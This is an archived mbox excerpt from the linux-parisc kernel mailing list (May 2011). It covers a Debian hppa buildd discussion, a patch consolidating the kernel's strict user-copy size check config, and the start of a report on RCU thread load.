	Fri, 27 May 2011 15:35:17 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JRyKZPOX7bKY; Fri, 27 May 2011 15:35:16 -0600 (MDT)
Original-Received: from fluid.dannf (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 9C1FA33E0043;
	Fri, 27 May 2011 15:35:16 -0600 (MDT)
Original-Received: by fluid.dannf (Postfix, from userid 1000)
	id 7639BC8E0F; Fri, 27 May 2011 15:35:16 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20110527202046.GA12670@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3759
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3759>

On Fri, May 27, 2011 at 04:20:46PM -0400, John David Anglin wrote:
> On Fri, 27 May 2011, dann frazier wrote:
> 
> > There are no buildds configured for building debian-ports yet, as far
> > as I know.
> 
> Will this happen?

If there is interest/people willing to work towards maintaining a
stable release off of debian-ports, I can setup/manage buildds to do
so. But, I personally don't have interest in maintaining systems that
run an unstable-only port.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Fri, 27 May 2011 19:37:36 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca>
References: <20110527213516.GH21744@dannf.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1306539466 5502 80.91.229.12 (27 May 2011 23:37:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 27 May 2011 23:37:46 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: dannf@dannf.org (dann frazier)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 28 01:37:41 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QQ6b7-0007fa-Eo
	for glpp-linux-parisc@lo.gmane.org; Sat, 28 May 2011 01:37:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757475Ab1E0Xhk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 May 2011 19:37:40 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1933 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757046Ab1E0Xhk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 May 2011 19:37:40 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0B95D4FCB; Fri, 27 May 2011 19:37:37 -0400 (EDT)
In-Reply-To: <20110527213516.GH21744@dannf.org> from "dann frazier" at May 27, 2011 03:35:16 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3760
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3760>

> On Fri, May 27, 2011 at 04:20:46PM -0400, John David Anglin wrote:
> > On Fri, 27 May 2011, dann frazier wrote:
> > 
> > > There are no buildds configured for building debian-ports yet, as far
> > > as I know.
> > 
> > Will this happen?
> 
> If there is interest/people willing to work towards maintaining a
> stable release off of debian-ports, I can setup/manage buildds to do
> so. But, I personally don't have interest in maintaining systems that
> run an unstable-only port.

I am willing to help within the limits of my free time (evenings and
weekends).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Sat, 28 May 2011 02:58:26 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com>
References: <20110527213516.GH21744@dannf.org> <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: dough.gmane.org 1306544336 26171 80.91.229.12 (28 May 2011 00:58:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 28 May 2011 00:58:56 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, dave.anglin@nrc-cnrc.gc.ca,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 28 02:58:50 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QQ7re-00048h-AI
	for glpp-linux-parisc@lo.gmane.org; Sat, 28 May 2011 02:58:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757658Ab1E1A6t (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 May 2011 20:58:49 -0400
Original-Received: from mail-qy0-f174.google.com ([209.85.216.174]:40862 "EHLO
	mail-qy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757637Ab1E1A6s (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 May 2011 20:58:48 -0400
Original-Received: by qyk7 with SMTP id 7so86055qyk.19
        for <linux-parisc@vger.kernel.org>; Fri, 27 May 2011 17:58:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:from
         :date:x-google-sender-auth:message-id:subject:to:cc:content-type;
        bh=7I1xFnP/tmP8hVlNraIjzaISkSw3h+o2Wuy/9rI/jBw=;
        b=KCvcdwdqJPkKnI21l0OfT+lt9mwfM+4Jl3UVjMeF8JlV8vx7BJ7N5BAPfPj3cNPfAq
         VuOJVwCNO3x+SWao/6x0lKAu9v3XlKcDC376JyxEXOYq8KxXT9WP9YoJblGzcI+Ry25d
         +pz32UtF+sVPYOWfHFyxJ3dYRrBDIPXtYi7rU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type;
        b=avkyU9HJWQlkuSDInH+oRs+ZCvNV4SOLVUkYwWvyiTNcDSdhw8N6s1I5hh2GjT+Gin
         LNO/Cia03tOiTGgO/EVDg1UEf/s8rdV5N3dDLnAHhs23lqrA41GAR6YdvhQgTORXLh+c
         emFsZzu9Fn/C2SjyFRpu/0fFkggr1yuS2vfX4=
Original-Received: by 10.229.34.6 with SMTP id j6mr2011841qcd.188.1306544326214; Fri,
 27 May 2011 17:58:46 -0700 (PDT)
Original-Received: by 10.229.184.202 with HTTP; Fri, 27 May 2011 17:58:26 -0700 (PDT)
In-Reply-To: <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: s7XBo4OnfsR4mY50gI5JoMKwJRk
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3761
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3761>

On Sat, May 28, 2011 at 1:37 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> On Fri, May 27, 2011 at 04:20:46PM -0400, John David Anglin wrote:
>> > On Fri, 27 May 2011, dann frazier wrote:
>> >
>> > > There are no buildds configured for building debian-ports yet, as far
>> > > as I know.
>> >
>> > Will this happen?
>>
>> If there is interest/people willing to work towards maintaining a
>> stable release off of debian-ports, I can setup/manage buildds to do
>> so. But, I personally don't have interest in maintaining systems that
>> run an unstable-only port.
>
> I am willing to help within the limits of my free time (evenings and
> weekends).

I'm willing to provide access to hardware (machines listed under
"ESIEE testring" on http://www.fr.parisc-linux.org/cluster.html -
which needs update btw as the cupertino testring is no more) for as
long as it'll be usable with Debian. I have zero interest in Gentoo
(essentially for technical and practical reasons which are outside the
scope of this email) and will not migrate to it. That means that if
debian(-ports)/hppa is no more and I have to reclaim some rackspace in
the datacenter I manage, the parisc machines will likely be the first
to go away... I'll let people know if/whenever this happens, so that
pickups can be arranged if need be.

BTW, I'm still running 2.6.22.19 on most these machines, and I've kind
of lost track: do we have a known better kernel I could safely upgrade
to?

HTH
T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Boyd <sboyd@codeaurora.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 4/4] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
Date: Tue, 31 May 2011 11:14:33 -0700
Lines: 359
Approved: news@gmane.org
Message-ID: <1306865673-20560-5-git-send-email-sboyd@codeaurora.org>
References: <1306865673-20560-1-git-send-email-sboyd@codeaurora.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1306865721 8372 80.91.229.12 (31 May 2011 18:15:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 31 May 2011 18:15:21 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 31 20:15:15 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QRTTD-00081e-Lg
	for glk-linux-kernel-3@lo.gmane.org; Tue, 31 May 2011 20:15:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932322Ab1EaSPC (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 31 May 2011 14:15:02 -0400
Original-Received: from wolverine01.qualcomm.com ([199.106.114.254]:35758 "EHLO
	wolverine01.qualcomm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757983Ab1EaSOh (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 31 May 2011 14:14:37 -0400
X-IronPort-AV: E=McAfee;i="5400,1158,6362"; a="94658400"
Original-Received: from pdmz-ns-mip.qualcomm.com (HELO mostmsg01.qualcomm.com) ([199.106.114.10])
  by wolverine01.qualcomm.com with ESMTP/TLS/ADH-AES256-SHA; 31 May 2011 11:14:36 -0700
Original-Received: from sboyd-linux.qualcomm.com (pdmz-snip-v218.qualcomm.com [192.168.218.1])
	by mostmsg01.qualcomm.com (Postfix) with ESMTPA id 5709410004DF;
	Tue, 31 May 2011 11:14:16 -0700 (PDT)
X-Mailer: git-send-email 1.7.5.3.367.ga9930
In-Reply-To: <1306865673-20560-1-git-send-email-sboyd@codeaurora.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1148282 gmane.linux.ports.parisc:3762
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1148282>

The help text for this config is duplicated across the x86,
parisc, and s390 Kconfig.debug files. Arnd Bergman noted that the
help text was slightly misleading and should be fixed to state
that enabling this option isn't a problem when using pre 4.4 gcc.

To simplify the rewording, consolidate the text into
lib/Kconfig.debug and modify it there to be more explicit about
when you should say N to this config.

Also, make the text a bit more generic by stating that this
option enables compile time checks so we can cover architectures
which emit warnings vs. ones which emit errors. The details of
how an architecture decided to implement the checks isn't as
important as the concept of compile time checking of
copy_from_user() calls.

While we're doing this, remove all the copy_from_user_overflow()
code that's duplicated many times and place it into lib/ so that
any architecture supporting this option can get the function for
free.

Signed-off-by: Stephen Boyd <sboyd@codeaurora.org>
Reviewed-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Ingo Molnar <mingo@elte.hu>
Acked-by: H. Peter Anvin <hpa@zytor.com>
Cc: linux-parisc@vger.kernel.org
Cc: linux-s390@vger.kernel.org
Cc: Arjan van de Ven <arjan@linux.intel.com>
Cc: Helge Deller <deller@gmx.de>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Stephen Rothwell <sfr@canb.auug.org.au>
Acked-by: Chris Metcalf <cmetcalf@tilera.com>
---
 arch/parisc/Kconfig             |    1 +
 arch/parisc/Kconfig.debug       |   14 --------------
 arch/s390/Kconfig               |    1 +
 arch/s390/Kconfig.debug         |   14 --------------
 arch/s390/lib/Makefile          |    1 -
 arch/s390/lib/usercopy.c        |    8 --------
 arch/sparc/lib/Makefile         |    1 -
 arch/sparc/lib/usercopy.c       |    8 --------
 arch/tile/Kconfig               |    8 +-------
 arch/tile/include/asm/uaccess.h |    7 ++++++-
 arch/tile/lib/uaccess.c         |    8 --------
 arch/x86/Kconfig                |    1 +
 arch/x86/Kconfig.debug          |   14 --------------
 arch/x86/lib/usercopy_32.c      |    6 ------
 arch/x86/lib/usercopy_64.c      |    6 ------
 lib/Kconfig.debug               |   18 ++++++++++++++++++
 lib/Makefile                    |    1 +
 lib/usercopy.c                  |    8 ++++++++
 18 files changed, 37 insertions(+), 88 deletions(-)
 delete mode 100644 arch/s390/lib/usercopy.c
 delete mode 100644 arch/sparc/lib/usercopy.c
 create mode 100644 lib/usercopy.c

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 65adc86..3385982 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -15,6 +15,7 @@ config PARISC
 	select HAVE_GENERIC_HARDIRQS
 	select GENERIC_IRQ_PROBE
 	select IRQ_PER_CPU
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index 7305ac8..bc989e5 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -12,18 +12,4 @@ config DEBUG_RODATA
          portion of the kernel code won't be covered by a TLB anymore.
          If in doubt, say "N".
 
-config DEBUG_STRICT_USER_COPY_CHECKS
-	bool "Strict copy size checks"
-	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
-	---help---
-	  Enabling this option turns a certain set of sanity checks for user
-	  copy operations into compile time failures.
-
-	  The copy_from_user() etc checks are there to help test if there
-	  are sufficient security checks on the length argument of
-	  the copy operation, by having gcc prove that the argument is
-	  within bounds.
-
-	  If unsure, or if you run an older (pre 4.4) gcc, say N.
-
 endmenu
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index 9fab2aa..9726a23 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -117,6 +117,7 @@ config S390
 	select ARCH_INLINE_WRITE_UNLOCK_BH
 	select ARCH_INLINE_WRITE_UNLOCK_IRQ
 	select ARCH_INLINE_WRITE_UNLOCK_IRQRESTORE
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 
 config SCHED_OMIT_FRAME_POINTER
 	def_bool y
diff --git a/arch/s390/Kconfig.debug b/arch/s390/Kconfig.debug
index d76cef3..aa1796c 100644
--- a/arch/s390/Kconfig.debug
+++ b/arch/s390/Kconfig.debug
@@ -17,20 +17,6 @@ config STRICT_DEVMEM
 
 	  If you are unsure, say Y.
 
-config DEBUG_STRICT_USER_COPY_CHECKS
-	def_bool n
-	prompt "Strict user copy size checks"
-	---help---
-	  Enabling this option turns a certain set of sanity checks for user
-	  copy operations into compile time warnings.
-
-	  The copy_from_user() etc checks are there to help test if there
-	  are sufficient security checks on the length argument of
-	  the copy operation, by having gcc prove that the argument is
-	  within bounds.
-
-	  If unsure, or if you run an older (pre 4.4) gcc, say N.
-
 config DEBUG_SET_MODULE_RONX
 	def_bool y
 	depends on MODULES
diff --git a/arch/s390/lib/Makefile b/arch/s390/lib/Makefile
index 761ab8b..97975ec 100644
--- a/arch/s390/lib/Makefile
+++ b/arch/s390/lib/Makefile
@@ -3,7 +3,6 @@
 #
 
 lib-y += delay.o string.o uaccess_std.o uaccess_pt.o
-obj-y += usercopy.o
 obj-$(CONFIG_32BIT) += div64.o qrnnd.o ucmpdi2.o
 lib-$(CONFIG_64BIT) += uaccess_mvcos.o
 lib-$(CONFIG_SMP) += spinlock.o
diff --git a/arch/s390/lib/usercopy.c b/arch/s390/lib/usercopy.c
deleted file mode 100644
index 14b363f..0000000
--- a/arch/s390/lib/usercopy.c
+++ /dev/null
@@ -1,8 +0,0 @@
-#include <linux/module.h>
-#include <linux/bug.h>
-
-void copy_from_user_overflow(void)
-{
-	WARN(1, "Buffer overflow detected!\n");
-}
-EXPORT_SYMBOL(copy_from_user_overflow);
diff --git a/arch/sparc/lib/Makefile b/arch/sparc/lib/Makefile
index 7f01b8fc..7747e40 100644
--- a/arch/sparc/lib/Makefile
+++ b/arch/sparc/lib/Makefile
@@ -43,4 +43,3 @@ obj-y                 += iomap.o
 obj-$(CONFIG_SPARC32) += atomic32.o
 obj-y                 += ksyms.o
 obj-$(CONFIG_SPARC64) += PeeCeeI.o
-obj-y                 += usercopy.o
diff --git a/arch/sparc/lib/usercopy.c b/arch/sparc/lib/usercopy.c
deleted file mode 100644
index 14b363f..0000000
--- a/arch/sparc/lib/usercopy.c
+++ /dev/null
@@ -1,8 +0,0 @@
-#include <linux/module.h>
-#include <linux/bug.h>
-
-void copy_from_user_overflow(void)
-{
-	WARN(1, "Buffer overflow detected!\n");
-}
-EXPORT_SYMBOL(copy_from_user_overflow);
diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
index 0249b8b..801fba1 100644
--- a/arch/tile/Kconfig
+++ b/arch/tile/Kconfig
@@ -12,6 +12,7 @@ config TILE
 	select GENERIC_PENDING_IRQ if SMP
 	select GENERIC_IRQ_SHOW
 	select SYS_HYPERVISOR
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 
 # FIXME: investigate whether we need/want these options.
 #	select HAVE_IOREMAP_PROT
@@ -96,13 +97,6 @@ config STRICT_DEVMEM
 config SMP
 	def_bool y
 
-# Allow checking for compile-time determined overflow errors in
-# copy_from_user().  There are still unprovable places in the
-# generic code as of 2.6.34, so this option is not really compatible
-# with -Werror, which is more useful in general.
-config DEBUG_COPY_FROM_USER
-	def_bool n
-
 config HVC_TILE
 	select HVC_DRIVER
 	def_bool y
diff --git a/arch/tile/include/asm/uaccess.h b/arch/tile/include/asm/uaccess.h
index ef34d2c..9a540be 100644
--- a/arch/tile/include/asm/uaccess.h
+++ b/arch/tile/include/asm/uaccess.h
@@ -353,7 +353,12 @@ _copy_from_user(void *to, const void __user *from, unsigned long n)
 	return n;
 }
 
-#ifdef CONFIG_DEBUG_COPY_FROM_USER
+#ifdef CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
+/*
+ * There are still unprovable places in the generic code as of 2.6.34, so this
+ * option is not really compatible with -Werror, which is more useful in
+ * general.
+ */
 extern void copy_from_user_overflow(void)
 	__compiletime_warning("copy_from_user() size is not provably correct");
 
diff --git a/arch/tile/lib/uaccess.c b/arch/tile/lib/uaccess.c
index f8d398c..030abe3 100644
--- a/arch/tile/lib/uaccess.c
+++ b/arch/tile/lib/uaccess.c
@@ -22,11 +22,3 @@ int __range_ok(unsigned long addr, unsigned long size)
 		 is_arch_mappable_range(addr, size));
 }
 EXPORT_SYMBOL(__range_ok);
-
-#ifdef CONFIG_DEBUG_COPY_FROM_USER
-void copy_from_user_overflow(void)
-{
-       WARN(1, "Buffer overflow detected!\n");
-}
-EXPORT_SYMBOL(copy_from_user_overflow);
-#endif
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index da34972..7714ff6 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -70,6 +70,7 @@ config X86
 	select IRQ_FORCED_THREADING
 	select USE_GENERIC_SMP_HELPERS if SMP
 	select HAVE_BPF_JIT if (X86_64 && NET)
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 
 config INSTRUCTION_DECODER
 	def_bool (KPROBES || PERF_EVENTS)
diff --git a/arch/x86/Kconfig.debug b/arch/x86/Kconfig.debug
index c0f8a5c..2b00959 100644
--- a/arch/x86/Kconfig.debug
+++ b/arch/x86/Kconfig.debug
@@ -270,18 +270,4 @@ config OPTIMIZE_INLINING
 
 	  If unsure, say N.
 
-config DEBUG_STRICT_USER_COPY_CHECKS
-	bool "Strict copy size checks"
-	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
-	---help---
-	  Enabling this option turns a certain set of sanity checks for user
-	  copy operations into compile time failures.
-
-	  The copy_from_user() etc checks are there to help test if there
-	  are sufficient security checks on the length argument of
-	  the copy operation, by having gcc prove that the argument is
-	  within bounds.
-
-	  If unsure, or if you run an older (pre 4.4) gcc, say N.
-
 endmenu
diff --git a/arch/x86/lib/usercopy_32.c b/arch/x86/lib/usercopy_32.c
index e218d5d..8498684 100644
--- a/arch/x86/lib/usercopy_32.c
+++ b/arch/x86/lib/usercopy_32.c
@@ -883,9 +883,3 @@ _copy_from_user(void *to, const void __user *from, unsigned long n)
 	return n;
 }
 EXPORT_SYMBOL(_copy_from_user);
-
-void copy_from_user_overflow(void)
-{
-	WARN(1, "Buffer overflow detected!\n");
-}
-EXPORT_SYMBOL(copy_from_user_overflow);
diff --git a/arch/x86/lib/usercopy_64.c b/arch/x86/lib/usercopy_64.c
index d7a5d9a..b7c2849 100644
--- a/arch/x86/lib/usercopy_64.c
+++ b/arch/x86/lib/usercopy_64.c
@@ -181,9 +181,3 @@ copy_user_handle_tail(char *to, char *from, unsigned len, unsigned zerorest)
 			break;
 	return len;
 }
-
-void copy_from_user_overflow(void)
-{
-	WARN(1, "Buffer overflow detected!\n");
-}
-EXPORT_SYMBOL(copy_from_user_overflow);
diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
index 28afa4c..3298385 100644
--- a/lib/Kconfig.debug
+++ b/lib/Kconfig.debug
@@ -1106,6 +1106,24 @@ config SYSCTL_SYSCALL_CHECK
 	  to properly maintain and use. This enables checks that help
 	  you to keep things correct.
 
+config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
+	bool
+
+config DEBUG_STRICT_USER_COPY_CHECKS
+	bool "Strict user copy size checks"
+	depends on ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
+	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
+	help
+	  Enabling this option turns a certain set of sanity checks for user
+	  copy operations into compile time failures.
+
+	  The copy_from_user() etc checks are there to help test if there
+	  are sufficient security checks on the length argument of
+	  the copy operation, by having gcc prove that the argument is
+	  within bounds.
+
+	  If unsure, say N.
+
 source mm/Kconfig.debug
 source kernel/trace/Kconfig
 
diff --git a/lib/Makefile b/lib/Makefile
index 6b597fd..8195c5e 100644
--- a/lib/Makefile
+++ b/lib/Makefile
@@ -14,6 +14,7 @@ lib-y := ctype.o string.o vsprintf.o cmdline.o \
 	 proportions.o prio_heap.o ratelimit.o show_mem.o \
 	 is_single_threaded.o plist.o decompress.o find_next_bit.o
 
+lib-$(CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS) += usercopy.o
 lib-$(CONFIG_MMU) += ioremap.o
 lib-$(CONFIG_SMP) += cpumask.o
 
diff --git a/lib/usercopy.c b/lib/usercopy.c
new file mode 100644
index 0000000..14b363f
--- /dev/null
+++ b/lib/usercopy.c
@@ -0,0 +1,8 @@
+#include <linux/module.h>
+#include <linux/bug.h>
+
+void copy_from_user_overflow(void)
+{
+	WARN(1, "Buffer overflow detected!\n");
+}
+EXPORT_SYMBOL(copy_from_user_overflow);
-- 
Sent by an employee of the Qualcomm Innovation Center, Inc.
The Qualcomm Innovation Center, Inc. is a member of the Code Aurora Forum.


From - Thu Nov 08 21:07:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: rcu threads with 2.6.39+
Date: Tue, 31 May 2011 20:48:07 -0400
Organization: nrc.ca
Lines: 34
Approved: news@gmane.org
Message-ID: <20110601004806.GA3984@hiauly1.hia.nrc.ca>
References: <20110524210238.GA26413@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1306889295 15186 80.91.229.12 (1 Jun 2011 00:48:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 1 Jun 2011 00:48:15 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 01 02:48:11 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QRZbX-0002Yr-8C
	for glpp-linux-parisc@lo.gmane.org; Wed, 01 Jun 2011 02:48:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933042Ab1FAAsK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 31 May 2011 20:48:10 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:4593 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933040Ab1FAAsJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 31 May 2011 20:48:09 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0DBA95007; Tue, 31 May 2011 20:48:07 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20110524210238.GA26413@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3763
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3763>

On Tue, 24 May 2011, John David Anglin wrote:

> I built 2.6.39+ Sunday from Linus' tree.  System seems slower than before
> and the rcu kernel threads seem to run a lot:
> 
> dave@mx3210:~$ ps -ef|grep rcu
> root         7     2 46 May22 ?        21:14:59 [rcuc0]
> root         8     2  0 May22 ?        00:00:00 [rcun0]
> root         9     2  0 May22 ?        00:00:03 [rcun1]
> root        37     2 19 May22 ?        08:55:59 [rcuc1]
> root        41     2 10 May22 ?        04:50:25 [rcuc2]
> root        45     2 11 May22 ?        05:10:35 [rcuc3]

The worst of the load problems are fixed by commit
07ef3c3b44896bc0432a901fe6ae0d0deaca47ce
Load average has now dropped by about a factor two.

However, the rcuc* threads are still major time consumers.  After
about three hours of runtime building gcc:

